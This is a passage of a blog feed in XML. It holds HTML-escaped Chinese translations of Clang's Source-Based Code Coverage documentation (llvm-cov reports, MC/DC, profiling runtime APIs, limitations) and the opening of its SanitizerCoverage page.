|  |  |  |  Branch (1:24): [True: 0, False: 1]
|  |  |  ------------------
|  ------------------
|  |  Branch (3:23): [True: 10, False: 1]
|  ------------------
|      4|    1|}
------------------
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果使用 clang 选项 &lt;code&gt;-fcoverage-mcdc&lt;&#x2F;code&gt; 为修改条件&#x2F;决策覆盖率 (MC&#x2F;DC) 插入代码，则可以使用 &lt;code&gt;--show-mcdc&lt;&#x2F;code&gt; 启用 MC&#x2F;DC 子视图，该子视图将显示每个复杂条件布尔表达式的详细 MC&#x2F;DC 信息，该表达式最多包含六个条件。&lt;&#x2F;p&gt;
&lt;p&gt;要生成覆盖率统计信息的每个文件级别的摘要，而不是面向行的报告，请尝试&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Step 3(c): Create a coverage summary.
% llvm-cov report .&amp;#x2F;foo -instr-profile=foo.profdata
Filename           Regions    Missed Regions     Cover   Functions  Missed Functions  Executed       Lines      Missed Lines     Cover     Branches    Missed Branches     Cover
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
&amp;#x2F;tmp&amp;#x2F;foo.cc             13                 0   100.00%           3                 0   100.00%          13                 0   100.00%           12                  2    83.33%
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
TOTAL                   13                 0   100.00%           3                 0   100.00%          13                 0   100.00%           12                  2    83.33%
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;llvm-cov&lt;&#x2F;code&gt; 工具支持指定自定义反汇编器，在目录结构中写入报告，以及生成 html 报告。有关选项的完整列表，请参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;llvm.net.cn&#x2F;docs&#x2F;CommandGuide&#x2F;llvm-cov.html&quot;&gt;命令指南&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;最后几点说明&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-sparse&lt;&#x2F;code&gt; 标志是可选的，但会导致索引配置文件的大小大幅减小。如果索引配置文件将被重复用于 PGO，则不应使用此选项。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在索引原始配置文件后，可以丢弃它们。配置文件运行时库的高级使用允许已插入代码的程序将分析信息直接合并到磁盘上的现有原始配置文件中。细节不在本文档的范围之内。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;llvm-profdata&lt;&#x2F;code&gt; 工具可用于合并多个原始配置文件或索引配置文件。要合并程序多次运行的分析数据，请尝试例如&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;% llvm-profdata merge -sparse foo1.profraw foo2.profdata -o foo3.profdata
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dao-chu-fu-gai-lu-shu-ju-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id6&quot;&gt;导出覆盖率数据&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;指向此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#exporting-coverage-data&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;可以使用 &lt;code&gt;llvm-cov export&lt;&#x2F;code&gt; 子命令将覆盖率数据导出为 JSON。在 llvm-cov 源代码中有一个综合参考，该参考在高级别上定义了导出数据的结构。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-shi-bao-gao-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id7&quot;&gt;解释报告&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;指向此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#interpreting-reports&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在覆盖率摘要中跟踪了六个统计信息&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;函数覆盖率是指至少执行过一次的函数的百分比。如果函数的任何实例都执行过，则该函数被认为是执行过的。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;实例化覆盖率是指至少执行过一次的函数实例化的百分比。模板函数和来自头文件的静态内联函数是两种可能具有多个实例化的函数。此统计信息在报告中默认隐藏，但可以通过 &lt;code&gt;-show-instantiation-summary&lt;&#x2F;code&gt; 选项启用。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;行覆盖率是指至少执行过一次的代码行的百分比。只有函数体内的可执行行被认为是代码行。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;区域覆盖率是指至少执行过一次的代码区域的百分比。一个代码区域可能跨越多行（例如，在一个没有控制流的大函数体中）。但是，一个代码行也可能包含多个代码区域（例如，在 “return x || y &amp;amp;&amp;amp; z” 中）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;分支覆盖率是指至少执行过一次的“真”和“假”分支的百分比。每个分支都与源代码中的单个条件相关联，这些条件可以分别评估为“真”或“假”。这些条件可以包含由布尔逻辑运算符连接的更大的布尔表达式。例如，“x = (y == 2) || (z &amp;lt; 10)”是一个布尔表达式，它包含两个独立的条件，每个条件都评估为真或假，产生四个总分支结果。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;修改后的条件&#x2F;决策覆盖率 (MC&#x2F;DC) 是指已证明能独立影响其包含的布尔表达式决策结果的单个分支条件的百分比。这是通过分析执行的控制流来实现的（即测试向量），以表明当条件的结果在“真”和“假”之间变化时，决策的结果也在“真”和“假”之间变化，而所有其他条件的结果保持固定（或被屏蔽为不可评估，就像在逻辑运算符具有短路语义的语言中发生的那样）。MC&#x2F;DC 在分支覆盖率的基础上构建，并要求已测试所有代码块和所有执行路径。此统计信息在报告中默认隐藏，但可以通过 &lt;code&gt;-show-mcdc-summary&lt;&#x2F;code&gt; 选项启用，只要代码也是使用 clang 选项 &lt;code&gt;-fcoverage-mcdc&lt;&#x2F;code&gt; 编译的。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;仅包含一个条件（因此没有逻辑运算符）的布尔表达式不包含在 MC&#x2F;DC 分析中，并且可以使用分支覆盖率轻松推断。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在这六个统计数据中，函数覆盖率通常是最不细粒度的，而分支覆盖率（包含 MC&#x2F;DC）是最细粒度的。函数的 100% 分支覆盖率意味着函数的 100% 区域覆盖率。每个统计信息的项目级总数列在摘要中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ge-shi-jian-rong-xing-bao-zheng-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id8&quot;&gt;格式兼容性保证&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#format-compatibility-guarantees&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;原始配置文件格式没有向后或向前兼容性保证。原始配置文件可能取决于用于生成它们的特定编译器版本。不建议长时间存储原始配置文件。&lt;&#x2F;li&gt;
&lt;li&gt;工具必须保留与索引配置文件格式的 &lt;strong&gt;向后&lt;&#x2F;strong&gt; 兼容性。这些格式不向前兼容：即，使用格式版本 X 的工具将无法理解格式版本 (X+k)。&lt;&#x2F;li&gt;
&lt;li&gt;工具还必须保留与插入二进制文件中发出的覆盖率映射格式的 &lt;strong&gt;向后&lt;&#x2F;strong&gt; 兼容性。这些格式不向前兼容。&lt;&#x2F;li&gt;
&lt;li&gt;JSON 覆盖率导出格式具有 (主版本、次版本、修订版本) 版本三元组。只有主版本增量表示向后不兼容的更改。次版本增量用于添加功能，修订版本增量用于错误修复。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;llvm-you-hua-dui-fu-gai-lu-bao-gao-de-ying-xiang-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id9&quot;&gt;llvm 优化对覆盖率报告的影响&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#impact-of-llvm-optimizations-on-coverage-reports&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;llvm 优化（如内联或 CFG 简化）不应影响覆盖率报告质量。这是因为从源区域到配置文件计数器的映射是不可变的，并且是在 llvm 优化器启动之前生成的。优化器无法证明配置文件计数器插装是安全的（因为它不是：它会影响程序发出的配置文件），因此会保留它。&lt;&#x2F;p&gt;
&lt;p&gt;请注意，此覆盖率功能不依赖于在优化过程中可能会退化的信息，例如调试信息行表。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zai-mei-you-jing-tai-chu-shi-hua-qi-de-qing-kuang-xia-shi-yong-pei-zhi-wen-jian-yun-xing-shi-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id10&quot;&gt;在没有静态初始化器的情况下使用配置文件运行时&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#using-the-profiling-runtime-without-static-initializers&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;默认情况下，编译器运行时使用静态初始化器来确定配置文件输出路径并注册写入器函数。要收集不使用静态初始化器的配置文件，请手动执行此操作&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;从每个插入的共享库和可执行文件中导出一个 &lt;code&gt;int __llvm_profile_runtime&lt;&#x2F;code&gt; 符号。当链接器找到此符号的定义时，它知道要跳过加载包含配置文件运行时的静态初始化器的对象。&lt;&#x2F;li&gt;
&lt;li&gt;前向声明 &lt;code&gt;void __llvm_profile_initialize_file(void)&lt;&#x2F;code&gt; 并从每个插入的可执行文件中调用它一次。此函数解析 &lt;code&gt;LLVM_PROFILE_FILE&lt;&#x2F;code&gt;，设置输出路径，并截断该路径下任何现有文件。要获得相同行为而不截断现有文件，请将文件名模式字符串传递给 &lt;code&gt;void __llvm_profile_set_filename(char *)&lt;&#x2F;code&gt;。这些调用可以放置在任何位置，只要它们位于对 &lt;code&gt;__llvm_profile_write_file&lt;&#x2F;code&gt; 的所有调用之前即可。&lt;&#x2F;li&gt;
&lt;li&gt;前向声明 &lt;code&gt;int __llvm_profile_write_file(void)&lt;&#x2F;code&gt; 并调用它来写入配置文件。此函数在成功时返回 0，否则返回非零值。多次调用此函数会将配置文件数据追加到现有的磁盘上原始配置文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在 C++ 文件中，将这些声明为 &lt;code&gt;extern &quot;C&quot;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zai-mei-you-wen-jian-xi-tong-de-qing-kuang-xia-shi-yong-pei-zhi-wen-jian-yun-xing-shi-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id11&quot;&gt;在没有文件系统的情况下使用配置文件运行时&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#using-the-profiling-runtime-without-a-filesystem&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;配置文件运行时还支持缺少文件系统的独立环境。运行时作为静态存档提供，该存档的结构旨在使对托管环境的依赖关系可选，具体取决于客户端应用程序使用哪些功能。&lt;&#x2F;p&gt;
&lt;p&gt;第一步是导出 &lt;code&gt;__llvm_profile_runtime&lt;&#x2F;code&gt;（如上所述），以禁用默认静态初始化器。不要调用上面描述的 &lt;code&gt;*_file()&lt;&#x2F;code&gt; API，而是使用以下方法将配置文件直接保存到您控制的缓冲区中&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前向声明 &lt;code&gt;uint64_t __llvm_profile_get_size_for_buffer(void)&lt;&#x2F;code&gt; 并调用它来确定配置文件的大小。您需要为此大小分配一个缓冲区。&lt;&#x2F;li&gt;
&lt;li&gt;前向声明 &lt;code&gt;int __llvm_profile_write_buffer(char *Buffer)&lt;&#x2F;code&gt; 并调用它将当前计数器复制到 &lt;code&gt;Buffer&lt;&#x2F;code&gt;，预计该缓冲区已经分配并足够大以容纳配置文件。&lt;&#x2F;li&gt;
&lt;li&gt;可选地，前向声明 &lt;code&gt;void __llvm_profile_reset_counters(void)&lt;&#x2F;code&gt; 并调用它在进入要分析的特定部分之前重置计数器。这只有在有一些要从配置文件中排除的设置时才有用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在 C++ 文件中，将这些声明为 &lt;code&gt;extern &quot;C&quot;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-llvm-xiang-mu-shou-ji-fu-gai-lu-bao-gao-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id12&quot;&gt;为 llvm 项目收集覆盖率报告&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#collecting-coverage-reports-for-the-llvm-project&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;要为 llvm（及其任何子项目）准备覆盖率报告，请将 &lt;code&gt;-DLLVM_BUILD_INSTRUMENTED_COVERAGE=On&lt;&#x2F;code&gt; 添加到 cmake 配置中。原始配置文件将写入 &lt;code&gt;$BUILD_DIR&#x2F;profiles&#x2F;&lt;&#x2F;code&gt;。要准备 HTML 报告，请运行 &lt;code&gt;llvm&#x2F;utils&#x2F;prepare-code-coverage-artifact.py&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;要指定原始配置文件的备用目录，请使用 &lt;code&gt;-DLLVM_PROFILE_DATA_DIR&lt;&#x2F;code&gt;。要更改配置文件合并池的大小，请使用 &lt;code&gt;-DLLVM_PROFILE_MERGE_POOL_SIZE&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;que-dian-he-xian-zhi-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id13&quot;&gt;缺点和限制&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#drawbacks-and-limitations&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在版本 2.26 之前，GNU binutils BFD 链接器无法以其 &lt;code&gt;--gc-sections&lt;&#x2F;code&gt; 模式链接使用 &lt;code&gt;-fcoverage-mapping&lt;&#x2F;code&gt; 编译的程序。可能的解决方法包括禁用 &lt;code&gt;--gc-sections&lt;&#x2F;code&gt;，升级到更新版本的 BFD，或使用 Gold 链接器。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;代码覆盖率不会精确地处理在存在异常的情况下控制流或堆栈展开中的不可预测变化。考虑以下功能&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int f() {
  may_throw();
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果对 &lt;code&gt;may_throw()&lt;&#x2F;code&gt; 的调用将异常传播到 &lt;code&gt;f&lt;&#x2F;code&gt; 中，代码覆盖率工具可能会将 &lt;code&gt;return&lt;&#x2F;code&gt; 语句标记为已执行，即使它没有执行。对 &lt;code&gt;longjmp()&lt;&#x2F;code&gt; 的调用可能会产生类似的效果。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;clang-shi-xian-xi-jie-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id14&quot;&gt;Clang 实现细节&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#clang-implementation-details&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;本节可能对希望了解或改进 clang 代码覆盖率实现的人员有用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jian-xi-qu-yu-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id15&quot;&gt;间隙区域&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#gap-regions&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;间隙区域是带有计数的源区域。报告工具无法将行执行计数设置为来自间隙区域的计数，除非该区域是行上唯一的区域。&lt;&#x2F;p&gt;
&lt;p&gt;间隙区域用于消除覆盖率报告中不自然的伪影，例如覆盖的线的末尾出现的红色“未执行”突出显示，或未执行的线的开头出现的蓝色“已执行”突出显示。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fen-zhi-qu-yu-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id16&quot;&gt;分支区域&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#branch-regions&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;使用 &lt;code&gt;--show-branches&lt;&#x2F;code&gt; 在基于源代码的文件级子视图中查看分支覆盖率详细信息时，建议用户显示所有宏展开（使用选项 &lt;code&gt;--show-expansions&lt;&#x2F;code&gt;），因为宏可能包含隐藏的分支条件。覆盖率摘要报告将始终在函数或源代码文件的总体分支覆盖率计数中包含这些基于宏的布尔表达式。&lt;&#x2F;p&gt;
&lt;p&gt;不跟踪常量折叠分支条件的分支覆盖率，因为对于这些情况不会生成分支。在基于源代码的文件级子视图中，这些分支将简单地显示为 &lt;code&gt;[Folded - Ignored]&lt;&#x2F;code&gt;，以便用户了解发生了什么。&lt;&#x2F;p&gt;
&lt;p&gt;分支覆盖率与源代码中生成分支的条件直接相关。用户不应该看到与源代码无关的隐藏分支。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mc-dc-cha-zhuang-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id17&quot;&gt;MC&#x2F;DC 插装&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#mc-dc-instrumentation&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;使用 clang 选项 &lt;code&gt;-fcoverage-mcdc&lt;&#x2F;code&gt; 对修改后的条件&#x2F;决策覆盖率 (MC&#x2F;DC) 进行插装时，存在两个硬限制。&lt;&#x2F;p&gt;
&lt;p&gt;项的最大数量限制为 32767，这对手工编写的表达式来说是实用的。要更严格地强制执行编码规则，请使用 &lt;code&gt;-Xclang -fmcdc-max-conditions=n&lt;&#x2F;code&gt;。超过条件计数 &lt;code&gt;n&lt;&#x2F;code&gt; 的表达式将生成警告，并将被排除在 MC&#x2F;DC 覆盖率之外。&lt;&#x2F;p&gt;
&lt;p&gt;测试向量（表达式可能组合的最大数量）限制为 2,147,483,646。在这种情况下，大约 256MiB (==2GiB&#x2F;8) 用于记录测试向量。&lt;&#x2F;p&gt;
&lt;p&gt;为了减少内存使用量，用户可以使用 &lt;code&gt;-Xclang -fmcdc-max-test-vectors=m&lt;&#x2F;code&gt; 限制每个表达式测试向量的最大数量。如果表达式分析产生的测试向量数量超过 &lt;code&gt;m&lt;&#x2F;code&gt;，则会发出警告，并且该表达式将从 MC&#x2F;DC 覆盖率中排除。&lt;&#x2F;p&gt;
&lt;p&gt;对于表达式中 &lt;code&gt;n&lt;&#x2F;code&gt; 个项，测试向量数量 &lt;code&gt;m&lt;&#x2F;code&gt; 在理论最坏情况下可以是 &lt;code&gt;m &amp;lt;= 2^n&lt;&#x2F;code&gt;，但通常要小得多。在简单情况下，例如由一系列单一运算符组成的表达式，&lt;code&gt;m == n+1&lt;&#x2F;code&gt;。例如，&lt;code&gt;(a &amp;amp;&amp;amp; b &amp;amp;&amp;amp; c &amp;amp;&amp;amp; d &amp;amp;&amp;amp; e &amp;amp;&amp;amp; f &amp;amp;&amp;amp; g)&lt;&#x2F;code&gt; 需要 8 个测试向量。&lt;&#x2F;p&gt;
&lt;p&gt;像 &lt;code&gt;((a0 &amp;amp;&amp;amp; b0) || (a1 &amp;amp;&amp;amp; b1) || ...)&lt;&#x2F;code&gt; 这样的表达式会导致测试向量数量呈指数级增长。&lt;&#x2F;p&gt;
&lt;p&gt;此外，如果布尔表达式嵌套在另一个布尔表达式的嵌套中，但被非逻辑运算符隔开，则也不支持。例如，在 &lt;code&gt;x = (a &amp;amp;&amp;amp; b &amp;amp;&amp;amp; c &amp;amp;&amp;amp; func(d &amp;amp;&amp;amp; f))&lt;&#x2F;code&gt; 中，&lt;code&gt;d &amp;amp;&amp;amp; f&lt;&#x2F;code&gt;  案例开始了一个新的布尔表达式，该表达式通过运算符 &lt;code&gt;func()&lt;&#x2F;code&gt; 与其他条件隔开。遇到这种情况时，将生成警告，并且布尔表达式不会被检测。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;switch-yu-ju-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#id18&quot;&gt;Switch 语句&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this heading&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html#switch-statements&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;switch 主体的区域映射包含一个覆盖整个主体的间隙区域（从 &#x27;switch (…) {&#x27; 中的 &#x27;{&#x27; 开始，到最后一个 case 结束为止）。该间隙区域的计数为零：这会导致 case 语句之间的“间隙”区域（不包含可执行代码）显示为未覆盖。&lt;&#x2F;p&gt;
&lt;p&gt;当访问 switch case 时，父区域将扩展：如果父区域没有起始位置，则其起始位置将成为 case 的起始位置。这用于支持没有 &lt;code&gt;CompoundStmt&lt;&#x2F;code&gt; 主体的 switch 语句，其中 switch 主体和单个 case 共享一个计数。&lt;&#x2F;p&gt;
&lt;p&gt;对于具有 &lt;code&gt;CompoundStmt&lt;&#x2F;code&gt; 主体的 switch，将在每个 switch case 的开头创建一个新区域。&lt;&#x2F;p&gt;
&lt;p&gt;每个 switch case（包括默认 case）也会生成分支区域。如果源代码中没有明确定义的默认 case，则会生成一个分支区域以对应于编译器生成的隐式默认 case。隐式分支区域与 switch 语句条件的行号和列号相关联，因为不存在隐式 case 的源代码。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>消毒覆盖率 — Clang 20.0.0git 文档</title>
        <published>2025-07-15T00:00:00+00:00</published>
        <updated>2025-07-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/消毒覆盖率-clang-20.0.0git-文档/"/>
        <id>https://vercel.juzhong.asia/obsidian/消毒覆盖率-clang-20.0.0git-文档/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/消毒覆盖率-clang-20.0.0git-文档/">&lt;h1 id=&quot;xiao-du-fu-gai-lu-clang-20-0-0git-wen-dang&quot;&gt;消毒覆盖率 — Clang 20.0.0git 文档&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html&quot;&gt;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;jian-jie-p&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id1&quot;&gt;简介&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#introduction&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;LLVM 内置了一个简单的代码覆盖率检测机制（消毒覆盖率）。它在函数、基本块和边缘级别插入对用户定义函数的调用。提供了这些回调的默认实现，并实现了简单的覆盖率报告和可视化，但是如果您只需要覆盖率可视化，您可能想使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SourceBasedCodeCoverage.html&quot;&gt;基于源代码的代码覆盖率&lt;&#x2F;a&gt; 代替。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-bao-hu-gen-zong-pcp&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#id2&quot;&gt;使用保护跟踪 PC&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;此标题的永久链接&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.net.cn&#x2F;docs&#x2F;SanitizerCoverage.html#tracing-pcs-with-guards&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;使用 &lt;code&gt;-fsanitize-coverage=trace-pc-guard&lt;&#x2F;code&gt;，编译器将在每个边缘插入以下代码&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;__sanitizer_cov_trace_pc_guard(&amp;amp;guard_variable)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
